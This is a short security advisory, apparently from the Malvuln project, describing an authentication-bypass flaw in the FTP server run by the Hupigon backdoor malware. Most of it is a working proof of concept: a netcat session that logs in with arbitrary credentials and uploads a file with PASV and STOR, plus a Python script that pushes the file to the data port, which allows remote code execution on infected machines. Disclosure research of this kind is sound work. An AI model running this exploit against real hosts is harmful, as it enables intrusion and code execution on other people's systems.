Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/2a366cea300b84b4e6f8204a8c229266.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.aejq
Vulnerability: Authentication Bypass RCE
Description: The malware runs an FTP server on TCP port 2121. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 2a366cea300b84b4e6f8204a8c229266
Vuln ID: MVID-2021-0329
Disclosure: 08/30/2021

Exploit/PoC:
nc64.exe 192.168.18.129 2121
220 Welcome To huigezi Ftp!
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,129,194,34).
STOR DOOM.js
150 Opening data connection for DOOM.js.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.129"
PORT=49698
DOOM="DOOM.js"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()



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